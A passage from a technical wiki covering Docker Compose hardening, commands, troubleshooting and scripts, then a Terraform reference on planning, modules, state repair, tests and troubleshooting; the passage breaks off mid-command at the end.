2.24+ interprets `.env` files with the same rules as `env_file` (quotes stripped, `#` comments, no shell expansion of `$(...)`); quote values that contain `#` or spaces. ## Hardening and resource keys The Compose equivalents of the `docker run` security and resource flags from [Docker](https://www.wiki.jodisand.me/docker/#security-options): ```yaml services: web: image: registry.example.com/web@sha256:0123abcd... # digest pin pull_policy: always # or missing (default), never, build, daily, weekly, every_12h user: "10001:10001" read_only: true tmpfs: - /tmp:size=64m,noexec,nosuid cap_drop: [ALL] cap_add: [NET_BIND_SERVICE] security_opt: - no-new-privileges:true init: true # tini-style PID 1 for signal forwarding and zombie reaping stop_grace_period: 30s # SIGTERM to SIGKILL window; default 10s stop_signal: SIGINT pids_limit: 256 ulimits: nofile: { soft: 65536, hard: 65536 } shm_size: 256m deploy: resources: limits: { cpus: "1.5", memory: 512M, pids: 256 } reservations: { memory: 256M } logging: driver: journald options: { tag: "{{.Name}}" } networks: frontend: aliases: [web.internal] backend: dns: [192.0.2.53] extra_hosts: - "host.docker.internal:host-gateway" networks: frontend: backend: internal: true # no route to the outside; only services on it can talk ``` `deploy.resources.limits.memory` becomes `--memory`; there is no `memory-swap` key, so swap is limited to the same value by Compose. `internal: true` networks are the simplest way to keep a database off the host's default route. `pull_policy: always` with `up` replaces `pull && up` for images tracked by a moving tag. ## Running commands in services ```sh docker compose exec web sh # inside the existing container docker compose run --rm web ./migrate # new container from the service definition docker compose run --rm --service-ports web # same, and publish the service's ports docker compose cp web:/app/report.csv . docker compose logs -f --since 10m web db docker compose top # processes per container docker compose events --json # stream container lifecycle events ``` `run` skips the service's `ports` by default so it does not collide with the running instance. Other containers can still reach it on the project network, but nothing on the host can until `--service-ports` or `-p` is added. `run` also starts dependencies unless `--no-deps` is given. ## Troubleshooting | Symptom | Cause | Check or fix | | --- | --- | --- | | Change in `compose.yaml` or `.env` not applied | `restart` was used, which keeps the old container configuration | `docker compose up -d`; `docker compose config --hash '*'` shows the hash `up` compares | | New image pushed but old one still running | `up` does not pull an image that exists locally | `docker compose pull web && docker compose up -d web` | | `dependency failed to start: container ... is unhealthy` | A `service_healthy` dependency failed its healthcheck | `docker inspect -f '{{json .State.Health}}' ` | | App fails on first start, works on restart | `depends_on` without a condition; dependency not ready | Add a healthcheck and `condition: service_healthy` | | `variable is not set. Defaulting to a blank string` | Interpolated variable missing from the shell and `.env` | `docker compose config`; use `${VAR:?}` to fail early | | Two stacks interfere, or `down` removed the wrong containers | Same project name (same directory name) | Set `name:` or `-p` | | `port is already allocated` | Another project or host process holds the port | `docker compose ls`, `ss -tlnp` | | Database init script ignored | Existing volume already initialised | Remove the volume only if the data is disposable | | Orphan container warnings | Service removed or renamed in the file | `docker compose up -d --remove-orphans` | | `docker: 'compose' is not a docker command` | Compose plugin not installed | Install the `docker-compose-plugin` package for your distribution | | `service "db" depends on undefined service` or `no such service` | Dependency is behind an inactive profile | Activate the profile, or give both services the same profile | | Containers left running after `down` | They belong to a profile that was not active for `down` | `docker compose --profile '*' down` | | `services.web.extends: service "app-base" ... not found` | Wrong `file:` path, or the base service is behind a profile | Paths in `extends.file` are relative to the current Compose file | | `include` fails with `services.X conflicts with imported resource` | Same service name in two included files | Rename, or switch to `-f` stacking where later files override | | Variable from `env_file` not interpolated in `compose.yaml` | `env_file` is for the container, not for interpolation | Put it in `.env` or pass `--env-file` | | Container gets an empty value for a variable that is set in `.env` | `environment: - VAR` reads the shell, not `.env`, unless `.env` is also an interpolation source | Use `VAR: ${VAR}`, or list `.env` under `env_file` | | `up` hangs on `Waiting` for a one-shot dependency | Dependency has `restart: always`, so it never "completes" | `restart: "no"` on migrations and seeders | | `read_only: true` breaks the application | Writes to a path with no volume or tmpfs | `docker compose run --rm web sh` then `docker diff`; add `tmpfs` entries | | `pull_policy: always` ignored by `up` | Compose older than 2.10 | Upgrade, or `docker compose pull && docker compose up -d` | | `docker compose ps --format json` is not a JSON array | Compose 2.21+ prints JSON lines | `jq -s .` to make an array, or `jq -r` per line | ## Oneliners ```sh # Every unhealthy container in the project docker compose ps --format json | jq -r 'select(.Health=="unhealthy") | .Name' # Image each container is actually running docker compose ps -q | xargs docker inspect -f '{{.Name}} {{.Image}}' # Diff the merged config between two override sets diff <(docker compose -f compose.yaml config) <(docker compose -f compose.yaml -f compose.prod.yaml config) # Pull and recreate one service without touching its dependencies docker compose pull web && docker compose up -d --no-deps web # Volumes belonging to this project docker compose volumes # Wait for one service without --wait until [ "$(docker inspect -f '{{.State.Health.Status}}' "$(docker compose ps -q db)")" = healthy ]; do sleep 1; done # Services and the profiles that enable them docker compose --profile '*' config --format json | jq -r '.services | to_entries[] | "\(.key)\t\(.value.profiles // ["-"] | join(","))"' # Services that would be created for the current profiles docker compose config --services # Validate the file without starting anything, including interpolation failures docker compose config -q && echo valid # Show a service's resolved environment as it will reach the container docker compose config --format json | jq '.services.web.environment' # Images the file references, for scanning or mirroring docker compose config --images # Pin every image to its current digest in a copy of the config docker compose config --resolve-image-digests > compose.pinned.yaml # Which host ports the project publishes docker compose ps --format json | jq -r '.Name as $n | .Publishers[]? | select(.PublishedPort > 0) | "\($n) \(.URL):\(.PublishedPort)->\(.TargetPort)"' | sort -u # Exit code of a one-shot service (tests, migrations) after up docker compose up --exit-code-from tests --abort-on-container-exit tests; echo "rc=$?" # Run migrations then start the stack in one line docker compose run --rm migrate && docker compose up -d --wait # Recreate only containers whose configuration changed, pulling newer images first docker compose up -d --pull always --remove-orphans # Restart the process of every service without recreating (no config changes applied) docker compose restart # Tail logs for the whole project since the last deploy time docker compose logs --since "$(docker inspect -f '{{.Created}}' "$(docker compose ps -q web)")" # Show the hash Compose uses to decide recreation, per service docker compose config --hash '*' # Disk used by this project's volumes docker system df -v | awk -v p="$(docker compose config --format json | jq -r .name)_" '/^VOLUME NAME/ {f = 1; next} f && index($1, p) == 1 {print $1, $3}' # Copy the project's .env variables into the current shell (for scripts that call docker directly) set -a; . ./.env; set +a # Stop everything gracefully with a longer drain window than the file allows docker compose stop -t 60 # Second isolated copy of the stack on different ports via an override docker compose -p review-42 -f compose.yaml -f compose.review.yaml up -d # Attach the project network to a debugging container docker run --rm -it --network "$(docker compose config --format json | jq -r .name)_default" nicolaka/netshoot # Delete the project completely: containers, networks, named volumes and locally built images (data loss) docker compose down -v --rmi local --remove-orphans ``` ## Scripts Deploy a new image tag with a health gate and automatic rollback: pull, recreate the service, wait for healthy, and on failure recreate with the previous tag. Uses `IMAGE_TAG` interpolation in the Compose file. ```sh #!/usr/bin/env bash # usage: deploy.sh SERVICE NEW_TAG (compose.yaml uses image: registry.example.com/web:${IMAGE_TAG}) set -euo pipefail svc=${1:?service} new=${2:?new tag} cid=$(docker compose ps -q "$svc" || true) old=$(if [[ -n $cid ]]; then docker inspect -f '{{.Config.Image}}' "$cid" | sed 's/.*://'; fi) export IMAGE_TAG=$new docker compose pull -q "$svc" if docker compose up -d --no-deps --wait --wait-timeout 120 "$svc"; then printf 'deployed %s:%s\n' "$svc" "$new" exit 0 fi printf 'health gate failed for %s:%s\n' "$svc" "$new" >&2 docker compose logs --tail 50 "$svc" >&2 || true if [[ -n $old ]]; then printf 'rolling back to %s\n' "$old" >&2 IMAGE_TAG=$old docker compose up -d --no-deps --wait --wait-timeout 120 "$svc" fi exit 1 ``` Report every project on the daemon with container states, health, restart counts and image age, to spot stacks that are quietly crash-looping. Read-only. ```sh #!/usr/bin/env bash # usage: compose-report.sh set -euo pipefail now=$(date +%s) printf '%-20s %-28s %-10s %-10s %8s %6s\n' PROJECT SERVICE STATE HEALTH RESTARTS IMGAGE docker ps -a --filter label=com.docker.compose.project -q | while read -r id; do docker inspect "$id" | jq -r --argjson now "$now" '.[0] | [ .Config.Labels["com.docker.compose.project"], .Config.Labels["com.docker.compose.service"], .State.Status, (.State.Health.Status // "-"), (.RestartCount | tostring), ((($now - (.Created | sub("\\.[0-9]+"; "") | fromdate)) / 86400 | floor | tostring) + "d") ] | @tsv' done | sort | awk -F'\t' '{printf "%-20s %-28s %-10s %-10s %8s %6s\n", $1, $2, $3, $4, $5, $6}' ``` Back up a Compose project's named volumes with the stack stopped, then bring it back up, so the copy is consistent. Stops the project for the duration of the copy. ```sh #!/usr/bin/env bash # usage: compose-backup.sh DEST_DIR (run from the project directory) set -euo pipefail dest=${1:?destination}; mkdir -p "$dest" project=$(docker compose config --format json | jq -r .name) stamp=$(date +%Y%m%dT%H%M%S) mapfile -t vols < <(docker volume ls -q --filter "label=com.docker.compose.project=$project") (( ${#vols[@]} )) || { echo "no named volumes for project $project" >&2; exit 0; } docker compose stop trap 'docker compose start >/dev/null' EXIT # restart even if a copy fails for v in "${vols[@]}"; do out=$dest/$v-$stamp.tar.zst docker run --rm -v "$v:/data:ro" -v "$dest:/backup" alpine:3.24 \ sh -c 'apk add --no-cache zstd >/dev/null && tar -C /data -cf - . | zstd -T0 -q > "/backup/$0"' "$(basename "$out")" printf '%s %s\n' "$(du -h "$out" | cut -f1)" "$out" done ``` ## Further reading - [Compose Specification](https://docs.docker.com/reference/compose-file/): every top-level and service key, with the `services`, `networks`, `volumes`, `configs` and `secrets` sections. - [Merge and override rules](https://docs.docker.com/reference/compose-file/merge/) and [include](https://docs.docker.com/reference/compose-file/include/) and [extends](https://docs.docker.com/reference/compose-file/extension/): how multiple files combine. - [Profiles](https://docs.docker.com/compose/how-tos/profiles/): activation rules and the implicit activation by naming a service. - [Environment variables in Compose](https://docs.docker.com/compose/how-tos/environment-variables/): precedence table, interpolation and `.env` file syntax. - [docker compose CLI reference](https://docs.docker.com/reference/cli/docker/compose/): every subcommand and flag, including `up --wait`, `config --hash` and `watch`. --- # Terraform > Plan and apply safely, structure modules and variables, refactor and repair state, and recover from drift, lock and provider errors in Terraform. Canonical: https://www.wiki.jodisand.me/terraform/ Reviewed: 2026-09-24 Related: [AWS](https://www.wiki.jodisand.me/aws/index.md), [Ansible](https://www.wiki.jodisand.me/ansible/index.md), [Vault](https://www.wiki.jodisand.me/vault/index.md), [Git](https://www.wiki.jodisand.me/git/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Initialise backend and download providers | `terraform init` | | Move state to a changed backend | `terraform init -migrate-state` | | Upgrade providers within constraints | `terraform init -upgrade` | | Format and validate | `terraform fmt -recursive && terraform validate` | | Plan to a file | `terraform plan -out=tfplan` | | Apply exactly that plan | `terraform apply tfplan` | | Detect drift without proposing changes | `terraform plan -refresh-only` | | Recreate one resource | `terraform apply -replace='aws_instance.web[0]'` | | List resources in state | `terraform state list` | | Inspect one resource in state | `terraform state show 'aws_instance.web[0]'` | | Back up remote state | `terraform state pull > backup.tfstate` | | Release a stale lock | `terraform force-unlock ` | | Output for scripts | `terraform output -raw url` | | Run module tests | `terraform test` | Current release at review time: Terraform 1.16. Version-dependent features below state the version that introduced them. See the [Terraform documentation](https://developer.hashicorp.com/terraform/docs). ## How plan and apply work Terraform reads the configuration, builds a dependency graph from references between blocks, refreshes state by asking providers for the current attributes of every tracked resource, then diffs desired against current and proposes create, update, replace or destroy actions. Independent resources are applied in parallel (10 at a time by default, `-parallelism=n`). State maps each resource address (`aws_instance.web[0]`) to a real object ID. It is the only link between configuration and the real world: a resource missing from state is invisible to Terraform, and a resource removed from configuration but still in state is scheduled for destruction. Three things can disagree: configuration, state and reality. | Command | Compares | Changes infrastructure | | --- | --- | --- | | `terraform plan` | Configuration against refreshed state | No | | `terraform plan -refresh-only` | State against reality (drift) | No | | `terraform apply -refresh-only` | Writes reality into state | No, state only | | `terraform apply` | Configuration against refreshed state | Yes | ```sh terraform plan -out=tfplan terraform show tfplan # human-readable review of the saved plan terraform apply tfplan # applies exactly what was reviewed, or fails if state moved on ``` Always use `plan -out` then `apply ` in automation. `apply` without a plan file re-plans, so what runs can differ from what was reviewed. A saved plan fails to apply if the state changed after it was created. Plan symbols: `+` create, `-` destroy, `~` update in place, `-/+` destroy then create, `+/-` create then destroy (`create_before_destroy`), `<=` read a data source. Look for `# forces replacement` next to an attribute to see why a resource is being replaced. ## Configuration and providers ```hcl terraform { required_version = ">= 1.11" required_providers { aws = { source = "hashicorp/aws", version = "~> 6.0" } } backend "s3" { bucket = "example-tfstate" key = "prod/network/terraform.tfstate" region = "ap-southeast-2" use_lockfile = true # S3-native locking; DynamoDB locking is deprecated encrypt = true } } provider "aws" { region = "ap-southeast-2" } provider "aws" { alias = "us_east_1" # for resources that must live in us-east-1, such as CloudFront certificates region = "us-east-1" } ``` `terraform init` writes `.terraform.lock.hcl` with the exact provider versions and checksums selected. Commit it: it is what makes two machines use the same provider build. `init -upgrade` moves to the newest version the constraints allow and rewrites the lock file. The `dynamodb_table` backend argument still works but is deprecated in favour of `use_lockfile`; both can be set during migration. See the [S3 backend](https://developer.hashicorp.com/terraform/language/backend/s3). ## Resources and meta-arguments ```hcl resource "aws_instance" "web" { for_each = var.web_nodes # map of name => { subnet_id = ... } ami = data.aws_ami.al2023.id instance_type = var.instance_type subnet_id = each.value.subnet_id vpc_security_group_ids = [aws_security_group.web.id] tags = merge(var.tags, { Name = "${var.name}-${each.key}" }) lifecycle { create_before_destroy = true ignore_changes = [ami] # an image pipeline owns this attribute precondition { condition = var.instance_type != "t2.micro" error_message = "t2.micro is not permitted in production." } } } ``` | Meta-argument | Effect | | --- | --- | | `count` | Instances indexed by position (`web[0]`); removing a middle element shifts every later index | | `for_each` | Instances keyed by map key or set value (`web["a"]`); adding or removing a key touches only that key | | `depends_on` | Explicit ordering when no expression reference exists | | `provider` | Selects an aliased provider configuration (another region or account) | | `lifecycle.create_before_destroy` | Creates the replacement before destroying the old object | | `lifecycle.prevent_destroy` | Fails any plan that would destroy the resource; use on databases and state buckets | | `lifecycle.ignore_changes` | Stops Terraform reverting changes to listed attributes | | `lifecycle.replace_triggered_by` | Replaces this resource when a referenced resource or attribute changes | Prefer `for_each` for anything with a natural key. With `count`, deleting the first list element destroys and recreates every resource after it. `for_each` keys must be known at plan time, so they cannot come from attributes of resources that do not exist yet. ## Variables, outputs and precedence ```hcl variable "instance_type" { type = string default = "t3.small" description = "EC2 instance size for the web tier" validation { condition = can(regex("^t3\\.", var.instance_type)) error_message = "Only t3 sizes are approved here." } } output "url" { value = "https://${aws_lb.this.dns_name}" description = "Public endpoint" } ``` Precedence, lowest to highest: the variable's `default`, `TF_VAR_` environment variables, `terraform.tfvars`, `terraform.tfvars.json`, `*.auto.tfvars` and `*.auto.tfvars.json` in lexical order, then `-var` and `-var-file` in command-line order. A later source replaces an earlier value entirely; maps are not merged. ## Keeping secrets out of state `sensitive = true` hides a value from CLI output only. It is still written in plain text to state and saved plan files. | Feature | Version | Stored in state or plan | | --- | --- | --- | | `sensitive = true` on variables and outputs | 0.15 | Yes, redacted in output only | | `ephemeral = true` on variables and outputs, `ephemeral` resource blocks | 1.10 | No | | Write-only resource arguments (usually named `*_wo`, paired with a `*_wo_version`) | 1.11 | No | ```hcl ephemeral "random_password" "db" { length = 32 } resource "aws_db_instance" "main" { # ... password_wo = ephemeral.random_password.db.result password_wo_version = 1 # bump to push a new password } ``` Write-only arguments exist only where the provider implements them; check the resource documentation. See [managing sensitive data](https://developer.hashicorp.com/terraform/language/manage-sensitive-data) and, for issuing secrets at apply time, [Vault](https://www.wiki.jodisand.me/vault/). > [!WARNING] State is a secret > Encrypt the backend, restrict read access to the people and pipelines that run Terraform, turn on bucket versioning so a bad write can be rolled back, and never commit `terraform.tfstate` or `*.tfvars` files holding credentials. ## Modules ```hcl module "network" { source = "git::https://github.com/example/tf-modules.git//network?ref=v1.4.0" name = "prod" cidr = "10.20.0.0/16" az_count = 3 } module "vpc" { source = "terraform-aws-modules/vpc/aws" # registry module version = "~> 6.0" # ... } ``` Pin module sources to a tag or commit (`?ref=`) or a registry `version`. A floating branch lets a plan change because someone else merged. Run `terraform init` (or `init -upgrade`) after changing a source or version. Keep modules to inputs, resources and outputs. A module that hard-codes naming, tagging or environment decisions is harder to reuse than one that accepts them as variables. `terraform test` (1.6+) runs `*.tftest.hcl` files that plan or apply a module and assert on the result. ## Refactoring and repairing state Prefer configuration blocks to state commands: they appear in the plan, are reviewed in a pull request and apply the same way in every workspace. | Goal | Declarative (reviewed in plan) | Imperative (immediate, unreviewed) | | --- | --- | --- | | Rename or move into a module | `moved` block (1.1+) | `terraform state mv` | | Stop managing, keep the object | `removed` block with `lifecycle { destroy = false }` (1.7+) | `terraform state rm` | | Adopt an existing object | `import` block (1.5+; `for_each` 1.7+) | `terraform import` | ```hcl moved { from = aws_instance.web to = module.compute.aws_instance.web } removed { from = aws_instance.legacy lifecycle { destroy = false } } import { to = aws_s3_bucket.logs id = "example-logs-bucket" } ``` ```sh terraform plan -generate-config-out=generated.tf # writes resource blocks for import targets that lack one ``` Review generated configuration before applying; it contains every attribute, including defaults you should delete. > [!WARNING] Back up before state surgery > Run `terraform state pull > "state-$(date +%Y%m%dT%H%M%S).json"` before any `state mv`, `state rm`, `state push` or `force-unlock`. These commands change remote state immediately with no plan. ```sh terraform state list terraform state show 'aws_instance.web["a"]' terraform state mv 'aws_instance.web' 'aws_instance.api' terraform state rm 'aws_instance.legacy' # forget it; the object keeps running terraform import 'aws_instance.web["a"]' i-0abc123 ``` Quote addresses that contain `[` or `"` so the shell passes them unchanged. ## moved, import and removed in depth `moved` blocks chain: when a resource is renamed twice across releases, keep both blocks so any state at either old address migrates. They work across module boundaries and for whole modules, and for `count` to `for_each` conversions where each index needs its own block. ```hcl moved { # whole module rename; every resource inside moves with it from = module.net to = module.network } moved { # count to for_each: one block per index from = aws_subnet.private[0] to = aws_subnet.private["a"] } moved { from = aws_subnet.private[1] to = aws_subnet.private["b"] } import { # bulk import driven by a map (1.7+) for_each = var.existing_buckets # { logs = "example-logs", assets = "example-assets" } to = aws_s3_bucket.managed[each.key] id = each.value } import { to = aws_route53_record.www id = "Z0123456789ABC_www.example.com_A" # ID formats are provider-specific; check the resource docs "Import" section } # 1.12+: providers may accept an identity {...} object instead of an id string removed { from = module.legacy # also works for whole modules lifecycle { destroy = false } } ``` A plan shows `# (moved from ...)` and `# (imported from ...)` lines, and an `import` for an object whose attributes differ from the configuration proposes an update in the same plan; read that update before applying. Once applied, delete the `import` and `moved` blocks in a later change (they are harmless while present, but `moved` blocks whose `from` no longer exists in anyone's state are noise). `terraform plan -generate-config-out` refuses to overwrite an existing file and only generates for `import` blocks whose target has no configuration. ## State surgery State is JSON with a `serial` and `lineage`. The backend rejects a push whose serial is not newer or whose lineage differs, which is the safety net when hand-editing. Every operation below rewrites remote state immediately. ```sh terraform state pull > state.json # always first; keep this copy until the next successful plan terraform state list -id i-0abc123 # which address holds an object with that ID terraform state show -no-color 'module.db.aws_db_instance.main' | grep -E '^\s+(arn|id) ' terraform state mv 'module.old.aws_instance.web' 'module.new.aws_instance.web' terraform state rm 'module.legacy' # forgets every resource under the module terraform state replace-provider registry.terraform.io/-/aws registry.terraform.io/hashicorp/aws # after the 0.13 provider namespace change or a fork terraform apply -replace='aws_instance.web["a"]' # supersedes terraform taint terraform untaint 'aws_instance.web["a"]' # clear a taint left by a failed create terraform apply -refresh-only # accept reality into state without touching configuration terraform state push state.json # upload an edited copy; refuses older serial or different lineage terraform state push -force state.json # overrides both checks; last resort ``` Moving a resource between two root modules (two backends) has no single command. Pull both states, move with the local-file form, then push both: ```sh cd ../network && terraform state pull > /tmp/net.json && cd ../compute && terraform state pull > /tmp/comp.json terraform state mv -state=/tmp/net.json -state-out=/tmp/comp.json 'aws_security_group.web' 'aws_security_group.web' cd ../network && terraform state push /tmp/net.json && cd ../compute && terraform state push /tmp/comp.json # then add the resource block to compute, delete it from network, and plan both: each should show no changes ``` Editing the JSON by hand is occasionally necessary (a provider bug wrote an impossible attribute, or a resource must be nudged to a new schema version). Bump `serial`, keep `lineage`, and validate with `terraform show state.json` before pushing. A lost state file is recovered by importing every object, which is why `terraform state list` output belongs in the run logs of any pipeline. ## Workspaces vs directories Two ways to run one configuration against several environments: | | CLI workspaces | One directory per environment | | --- | --- | --- | | State | Same backend, separate state per workspace (`env://` prefix on S3) | Separate backend configuration and state per directory | | Credentials | Shared; the same principal can touch every environment | Can differ per directory (separate roles, accounts, subscriptions) | | Configuration drift between environments | Impossible: one set of files | Possible; controlled by sharing modules and diffing tfvars | | Blast radius of a wrong `apply` | High: `terraform workspace select` is easy to forget | Low: `-chdir=envs/prod` is explicit | | Suits | Ephemeral copies (review environments, per-branch stacks) | Long-lived environments with different sizes, providers and approvers | ```text envs/ prod/ main.tf backend.tf prod.tfvars # root module: a handful of module calls and provider config staging/ main.tf backend.tf staging.tfvars modules/ network/ compute/ database/ # all environment differences arrive through variables ``` ```sh terraform -chdir=envs/prod init -backend-config=prod.s3.tfbackend # partial backend config kept out of source when it holds account-specific values terraform -chdir=envs/prod plan -var-file=prod.tfvars -out=tfplan terraform workspace new pr-1234 && terraform apply -var-file=review.tfvars -auto-approve # ephemeral copy terraform workspace select default && terraform workspace delete pr-1234 # refuses while its state is non-empty; destroy first ``` `terraform.workspace` in expressions (`name = "app-${terraform.workspace}"`) makes workspaces usable but also hides the environment from the reader of the configuration. If a configuration needs `count = terraform.workspace == "prod" ? 3 : 1`, it wants directories. ## Tests `terraform test` runs `*.tftest.hcl` files in the root or `tests/` directory. Each `run` block plans (`command = plan`) or applies (`command = apply`, the default) the module with the given variables and checks `assert` conditions; applied resources are destroyed when the file finishes. Mock providers (1.7+) return fabricated values so unit tests need no credentials. ```hcl # tests/network.tftest.hcl variables { name = "test" cidr = "10.99.0.0/16" } mock_provider "aws" {} # every resource and data source returns generated values run "creates_one_subnet_per_az" { command = plan variables { az_count = 3 } assert { condition = length(aws_subnet.private) == 3 error_message = "expected 3 private subnets, got ${length(aws_subnet.private)}" } } run "rejects_small_cidr" { command = plan variables { cidr = "10.99.0.0/28" } expect_failures = [var.cidr] # the variable's validation block must reject it } run "outputs_match" { command = plan assert { condition = output.vpc_cidr == var.cidr error_message = "output must echo the input CIDR" } } ``` ```sh terraform test # every test file terraform test -filter=tests/network.tftest.hcl # one file terraform test -verbose # print the plan or state for each run terraform test -junit-xml=report.xml # JUnit report for CI ``` Use `command = plan` with mocks for fast unit checks of logic (counts, names, validation), and a small number of real `apply` runs against a sandbox account for integration. A `run` block can reference outputs of an earlier `run` (`run.setup.some_output`) and can load a helper module with `module { source = "./tests/setup" }` to create prerequisites. `override_resource` and `override_data` blocks replace one object's attributes without mocking the whole provider. ## Provider lock and installation `.terraform.lock.hcl` records, per provider, the selected version, the constraints in effect and checksums (`h1:` for the zip on this platform, `zh:` for every platform's zip from the registry). `terraform init` on a platform whose `h1:` hash is missing fails with a checksum error unless the lock file was generated for that platform too. ```sh terraform providers # required providers and which module requires them terraform providers lock -platform=linux_amd64 -platform=darwin_arm64 -platform=linux_arm64 # record hashes for every platform CI and laptops use terraform init -upgrade # newest versions within constraints; rewrites the lock file terraform providers mirror ./mirror # download providers for an air-gapped or rate-limited environment terraform providers schema -json | jq '.provider_schemas | keys' # inspect installed provider schemas ``` ```hcl # ~/.terraformrc: reuse downloaded providers across working directories and prefer a local mirror plugin_cache_dir = "$HOME/.terraform.d/plugin-cache" provider_installation { filesystem_mirror { path = "/opt/terraform/mirror", include = ["registry.terraform.io/hashicorp/*"] } direct { exclude = ["registry.terraform.io/hashicorp/*"] } } ``` `TF_PLUGIN_CACHE_DIR` does the same as `plugin_cache_dir` from the environment. The cache is not safe for concurrent `init` runs of different working directories on the same host (a known limitation); serialise them in CI or use a mirror. Version constraints belong in `required_providers` of the root module; child modules should state only the minimum they need (`>= 5.0`) so the root decides. ## Expressions worth knowing ```hcl locals { env_tags = merge(var.tags, { Environment = var.env, ManagedBy = "terraform" }) subnets = { for az in var.azs : az => cidrsubnet(var.cidr, 8, index(var.azs, az)) } # for expression over a list into a map public = [for s in aws_subnet.all : s.id if s.tags["tier"] == "public"] # filter cfg = yamldecode(file("${path.module}/config.yaml")) name = coalesce(var.name_override, "${var.project}-${var.env}") } dynamic "ingress" { # repeat a nested block per element for_each = var.ingress_rules content { from_port = ingress.value.port to_port = ingress.value.port protocol = "tcp" cidr_blocks = ingress.value.cidrs } } check "endpoint_answers" { # post-apply assertion that does not block the apply (1.5+) data "http" "health" { url = "https://${aws_lb.this.dns_name}/health" } assert { condition = data.http.health.status_code == 200 error_message = "health endpoint returned ${data.http.health.status_code}" } } ``` ```sh terraform console <<< 'cidrsubnet("10.0.0.0/16", 8, 3)' # evaluate expressions against the current state terraform console <<< 'keys(module.network.subnet_ids)' ``` `try(expr, fallback)` and `can(expr)` handle optional attributes; `one()` turns a zero-or-one element list into a value or null; `sensitive()` and `nonsensitive()` adjust redaction. `templatefile()` renders a file with variables and is preferable to long heredocs for user data and policies. ## Workspaces and environment layout CLI workspaces keep separate state files under one backend configuration (for S3, under the `env:/` key prefix). They suit short-lived copies of identical infrastructure, such as a feature branch stack. Production and development usually differ in size, providers and credentials, so give them separate root directories with separate backends and credentials instead. ```sh terraform workspace list terraform workspace new feature-x terraform workspace select default ``` `terraform.workspace` holds the current name for use in expressions. ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `Error acquiring the state lock` | Another run is active, or a crashed run left the lock | Confirm no run is active (CI, colleagues), then `terraform force-unlock ` | | `Saved plan is stale` | State changed after the plan was written | Plan again | | Plan replaces many resources after a list edit | `count` index shift | Switch to `for_each` and add `moved` blocks | | Plan replaces resources after a provider upgrade | Changed defaults or schema in the new major version | Read the provider upgrade guide; pin the old version until handled | | Resource exists but plan wants to create it | Not in state (created by hand, or state lost) | Import it | | Resource gone but plan wants to update it | Deleted outside Terraform | `terraform apply -refresh-only`, then plan | | Perpetual diff on every plan | API normalises the value (case, JSON ordering, defaults) | Match the normalised form, or `ignore_changes` | | `Provider produced inconsistent result after apply` | Provider bug or eventually consistent API | Re-run; report upstream if it persists | | `Invalid for_each argument ... will be known only after apply` | Keys depend on unknown values | Build keys from variables or static values | | `Cycle:` error | Two resources reference each other, often security groups | Split rules into separate rule resources | | `Inconsistent dependency lock file` | Provider added without re-running init | `terraform init` (or `init -upgrade`) and commit the lock file | | Slow plans | Thousands of resources in one state; refresh calls every API | Split state by lifecycle and blast radius; `-refresh=false` for a quick look only | | `Failed to install provider ... checksum mismatch` or `doesn't match any of the checksums` | Lock file has hashes for another platform only | `terraform providers lock -platform=...` for every platform, commit the lock file | | `Backend configuration changed` | Backend block differs from `.terraform/terraform.tfstate` | `terraform init -migrate-state` to move, or `-reconfigure` to point elsewhere without copying | | `import` block plans an update as well as the import | Configuration differs from the real object's attributes | Align the configuration with `terraform state show` output after import, or accept the change knowingly | | `Moved object still exists at ... from address` | Both `from` and `to` addresses exist in state | Remove one with `state rm` after confirming which is real | | `terraform test` fails with credentials errors | `run` blocks default to `command = apply` against real providers | `command = plan` plus `mock_provider`, or supply sandbox credentials | | `workspace delete` refuses | Workspace state is not empty | `terraform destroy` in that workspace first, or `-force` to abandon the objects (they keep running) | | `Error: Unsupported attribute` after a provider upgrade | Attribute renamed or removed in the new major version | Provider changelog and upgrade guide; `terraform providers schema -json` to see the current schema | | Plan wants to destroy everything | Wrong workspace, wrong backend key, or empty state after a failed migration | `terraform workspace show`, `terraform state list`, stop and compare with the backup | | `Error: Invalid function argument` on `file()` | Path relative to the working directory, not the module | Use `${path.module}/file` | | `ephemeral` value used in a non-ephemeral context | Ephemeral values may only feed write-only arguments, provider config or other ephemerals | Restructure; do not copy the value into a normal attribute | ```sh TF_LOG=DEBUG terraform plan 2>debug.log # core and provider logs; may contain secrets TF_LOG_PROVIDER=TRACE terraform apply # provider API calls only terraform providers # provider requirements per module terraform graph | dot -Tsvg > graph.svg # needs graphviz ``` > [!CAUTION] `-target` is for recovery > `-target` plans a subset of the graph and can leave state inconsistent with configuration. Use it to get out of a broken state, then run a full plan. ## Oneliners ```sh # Every change in a saved plan, one line each terraform show -json tfplan | jq -r '.resource_changes[] | select(.change.actions != ["no-op"]) | "\(.change.actions|join(","))\t\(.address)"' # Only the deletes and replacements: the review that matters terraform show -json tfplan | jq -r '.resource_changes[] | select(.change.actions | index("delete")) | .address' # Resource counts by type terraform state list | sed 's/\[.*//' | awk -F. '{print $(NF-1)}' | sort | uniq -c | sort -rn # Outputs into environment variables eval "$(terraform output -json | jq -r 'to_entries[] | "export TF_\(.key|ascii_upcase)=\(.value.value|@sh)"')" # Format check in CI terraform fmt -check -recursive -diff # Locked provider versions grep -A1 '^provider ' .terraform.lock.hcl # Exit code 2 means changes are pending, 0 means none, 1 means error terraform plan -detailed-exitcode -out=tfplan # Plan summary counts: add, change, destroy terraform show -json tfplan | jq '[.resource_changes[].change.actions] | flatten | group_by(.) | map({(.[0]): length}) | add' # Attributes that force replacement, per resource terraform show -json tfplan | jq -r '.resource_changes[] | select(.change.actions == ["delete","create"] or .change.actions == ["create","delete"]) | "\(.address): \(.change.replace_paths | map(join(".")) | join(", "))"' # Fail CI if the plan destroys anything terraform show -json tfplan | jq -e '[.resource_changes[] | select(.change.actions | index("delete"))] | length == 0' >/dev/null # Drift only: which resources changed outside Terraform terraform plan -refresh-only -detailed-exitcode -no-color | grep -E '^\s+# .* (has changed|has been deleted)' # Every resource ID in state, with address terraform show -json | jq -r '.values.root_module | .. | .resources? // empty | .[] | "\(.address)\t\(.values.id // "-")"' # Providers and versions actually selected terraform version -json | jq -r '.provider_selections | to_entries[] | "\(.key) \(.value)"' # Modules and their sources, from the module manifest jq -r '.Modules[] | select(.Key != "") | "\(.Key)\t\(.Source)\t\(.Version // "-")"' .terraform/modules/modules.json # Variables without a description (awk keeps the block between variable and the closing brace) awk '/^variable "/ {v = $2; d = 0} /^\s*description/ {d = 1} /^}/ && v != "" {if (!d) print FILENAME, v; v = ""}' *.tf # Which state a resource with a known cloud ID lives in, across several roots for d in envs/*; do (cd 